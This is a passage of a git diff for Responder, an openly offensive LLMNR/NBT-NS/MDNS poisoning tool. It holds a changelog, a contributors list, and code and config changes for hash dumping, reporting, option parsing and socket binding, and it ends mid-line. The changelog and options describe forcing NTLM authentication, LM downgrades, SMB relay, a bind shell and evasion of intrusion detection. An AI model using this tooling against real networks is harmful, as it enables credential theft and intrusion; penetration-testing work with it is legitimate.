traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx). + +### Removed + +- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx). + +## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11 + +[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1) + +## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11 + +[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2) + +### Added + +- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx). +- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx). + +### Removed + +- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx). + +## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09 + +[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1) + +### Added + +- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx). +- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie). +- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger). +- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert). +- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver). +- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx). + +### Fixed + +- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie). +- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger). +- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS). +- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx). +- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx). +- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx). +- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx). +- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz). +- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn). + +### Changed + +- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight). +- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx). +- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut). +- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut). + +### Removed + +- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie). + +## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11 + +[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0) + +### Added + +- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx). +- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev). + +### Fixed + +- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx). +- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r). +- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r). +- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev). +- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot). + +### Changed + +- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r). + +## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06 + +[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4) + +### Added + +- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx). + +## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27 + +[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3) + +### Added + +- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx). +- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx). + +## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26 + +[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2) + +### Added + +- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx). + +### Fixed + +- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx). + +## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16 + +[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0) + +### Fixed + +- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx). + +## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28 + +[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9) + +### Fixed + +- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx). + +### Removed + +- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx). + +## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22 + +[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8) + +### Added + +- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx). + +## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16 + +[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7) + +### Added + +- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx). +- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx). + +## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01 + +[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6) + +### Fixed + +- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx). + +## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22 + +[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5) + +### Added + +- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx). + +## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22 + +[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4) + +### Added + +- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx). + +## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21 + +[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3) + +### Fixed + +- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx). + +## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06 + +[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2) + +### Added + +- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx). + +## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30 + +[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1) + +### Added + +- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx). +- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx). +- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx). +- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx). +- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx). +- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx). +- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx). +- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx). +- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx). +- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx). +- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx). +- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx). +- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx). +- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx). +- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx). +- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx). +- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx). +- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx). +- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx). +- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx). +- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx). +- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx). +- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx). +- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx). +- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx). +- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx). + +### Fixed + +- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx). +- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx). +- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx). +- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx). +- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx). + +### Changed + +- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx). +- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx). +- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni). + +### Removed + +- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx). + diff --git a/Contributors b/Contributors new file mode 100644 index 0000000..13dbafd --- /dev/null +++ b/Contributors @@ -0,0 +1,76 @@ +Commits | user +15 @jrmdev +7 @nobbd +6 @ValdikSS +6 @also-here +5 @HexPandaa +5 @exploide +5 @jvoisin +4 @Clément Notin +4 @Shutdown +4 @Yannick Méheut +3 @Hank Leininger +3 @brightio +3 @byt3bl33d3r +3 @myst404 +3 @skelsec +2 @Alexandre ZANNI +2 @Crypt0-M3lon +2 @Laban Sköllermark +2 @Matthew Daley +2 @Pixis +2 @Rob Fuller +2 @ThePirateWhoSmellsOfSunflowers +2 @Vincent Yiu +2 @requin +1 @Andrii Nechytailov +1 @Antonio Herraiz +1 @Chris Maddalena +1 @Euan +1 @Garret Picchioni +1 @Gifts +1 @Gustaf Blomqvist +1 @Hubert Seiwert +1 @IMcPwn +1 @Jared Haight +1 @Jim Shaver +1 @Khiem Doan +1 @Leon Jacobs +1 @Lionel PRAT +1 @Markus +1 @MatToufoutu +1 @Matt +1 @Matt Andreko +1 @Matt Kelly +1 @Nikos Vassakis +1 @OJ +1 @Paul A +1 @Randy Ramos +1 @SAERXCIT +1 @Sagar-Jangam +1 @Sans23 +1 @Sophie Brun +1 @Stephen Shkardoon +1 @Syntricks +1 @Timon Hackenjos +1 @Tom Aviv +1 @Ziga P +1 @cweedon +1 @deltronzero +1 @f3rn0s +1 @jackassplus +1 @jb +1 @kevintellier +1 @kitchung +1 @klemou +1 @lanjelot +1 @nickyb +1 @nodauf +1 @nop5L3D +1 @pixis +1 @ravenium +1 @soa +1 @steven +1 @thejosko +1 @trustedsec + diff --git a/DumpHash.py b/DumpHash.py index 0e383d7..daf0382 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com @@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor): res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") Output = "" for row in res.fetchall(): - Output += '{0}'.format(row[0])+'\n' + if "$" in row[0]: + pass + else: + Output += '{0}'.format(row[0])+'\n' return Output def GetResponderCompleteNTLMv1Hash(cursor): res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") Output = "" for row in res.fetchall(): - Output += '{0}'.format(row[0])+'\n' + if "$" in row[0]: + pass + else: + Output += '{0}'.format(row[0])+'\n' return Output cursor = DbConnect() diff --git a/README.md b/README.md index 7689c42..f09820f 100755 --- a/README.md +++ b/README.md @@ -157,15 +157,29 @@ Options: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be - ON. Default: False + ON. This option is highly effective. Default: False + -Q, --quiet Tell Responder to be quiet, disables a bunch of + printing from the poisoners. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. + -t 1e, --ttl=1e Change the default Windows TTL for poisoned answers. + Value in hex (30 seconds = 1e). use '-t random' for + random TTL + -N ANSWERNAME, --AnswerName=ANSWERNAME + Specifies the canonical name returned by the LLMNR + poisoner in tits Answer section. By default, the + answer's canonical name is the same as the query. + Changing this value is mainly useful when attempting + to perform Kebreros relaying over HTTP. + -E, --ErrorCode Changes the error code returned by the SMB server to + STATUS_LOGON_FAILURE. By default, the status is + STATUS_ACCESS_DENIED. Changing this value permits to + obtain WebDAV authentications from the poisoned + machines where the WebClient service is running. - - ## Donation ## You can contribute to this project by donating to the following $XLM (Stellar Lumens) address: @@ -176,10 +190,6 @@ Paypal: https://paypal.me/PythonResponder -Patreon: - -https://www.patreon.com/PythonResponder - ## Acknowledgments ## diff --git a/Report.py b/Report.py index 1e8640a..ff09e16 100755 --- a/Report.py +++ b/Report.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com @@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor): for row in res.fetchall(): print('{0}'.format(row[0])) +def GetUniqueLookupsIP(cursor): + res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)") + for row in res.fetchall(): + if 'fe80::' in row[1]: + pass + else: + print('Protocol: {0}, IP: {1}'.format(row[0], row[1])) + def GetUniqueLookups(cursor): res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") for row in res.fetchall(): @@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1)) print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) GetUniqueDHCP(cursor) +print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1)) +GetUniqueLookupsIP(cursor) print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor) diff --git a/Responder.conf b/Responder.conf index 5c1b94e..5a4e46a 100755 --- a/Responder.conf +++ b/Responder.conf @@ -1,22 +1,30 @@ [Responder Core] -; Servers to start -SQL = On -SMB = On -RDP = On -Kerberos = On -FTP = On -POP = On -SMTP = On -IMAP = On -HTTP = On -HTTPS = On -DNS = On -LDAP = On -DCERPC = On -WINRM = On +; Poisoners to start +MDNS = On +LLMNR = On +NBTNS = On -; Custom challenge. +; Servers to start +SQL = On +SMB = On +QUIC = On +RDP = On +Kerberos = On +FTP = On +POP = On +SMTP = On +IMAP = On +HTTP = On +HTTPS = On +DNS = On +LDAP = On +DCERPC = On +WINRM = On +SNMP = On +MQTT = On + +; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = Random @@ -37,7 +45,7 @@ AnalyzeLog = Analyzer-Session.log ResponderConfigDump = Config-Responder.log ; Specific IP Addresses to respond to (default = All) -; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 +; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 RespondTo = ; Specific NBT-NS/LLMNR names to respond to (default = All) @@ -46,13 +54,18 @@ RespondTo = RespondToName = ; Specific IP Addresses not to respond to (default = None) -; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 +; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding. +; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) -; Example: DontRespondTo = NAC, IPS, IDS +; Example: DontRespondToName = NAC, IPS, IDS DontRespondToName = ISATAP +; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD. +; Example: DontRespondToTLD = _dosvc, _blasvc, etc +DontRespondToTLD = _dosvc + ; If set to On, we will stop answering further requests from a host ; if a hash has been previously captured for this host. AutoIgnoreAfterSuccess = Off @@ -62,8 +75,8 @@ AutoIgnoreAfterSuccess = Off ; This may break file serving and is useful only for hash capture CaptureMultipleCredentials = On -; If set to On, we will write to file all hashes captured from the same host. -; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, +; If set to On, we will write to file all hashes captured from the same host. +; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, ; domain\popo, domain\zozo. Recommended value: On, capture everything. CaptureMultipleHashFromSameHost = On diff --git a/Responder.py b/Responder.py index 34caa30..952b086 100755 --- a/Responder.py +++ b/Responder.py @@ -14,6 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import asyncio import optparse import ssl try: @@ -40,10 +41,14 @@ parser.add_option('-u','--upstream-proxy', action="store", help="Upstream H parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) +parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") +parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) +parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) +parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False) options, args = parser.parse_args() if not os.geteuid() == 0: @@ -53,6 +58,10 @@ elif options.OURIP == None and IsOsX() == True: print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") parser.print_help() exit(-1) + +elif options.ProxyAuth_On_Off and options.WPAD_On_Off: + print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n") + exit(-1) settings.init() settings.Config.populate(options) @@ -64,6 +73,8 @@ settings.Config.ExpandIPRanges() #Create the DB, before we start Responder. CreateResponderDb() +Have_IPv6 = settings.Config.IPv6 + class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): if OsInterfaceIsSupported(): @@ -73,10 +84,12 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) @@ -90,10 +103,12 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass TCPServer.server_bind(self) @@ -107,10 +122,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) @@ -126,11 +143,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): #IPV6: if (sys.version_info > (3, 0)): - mreq = 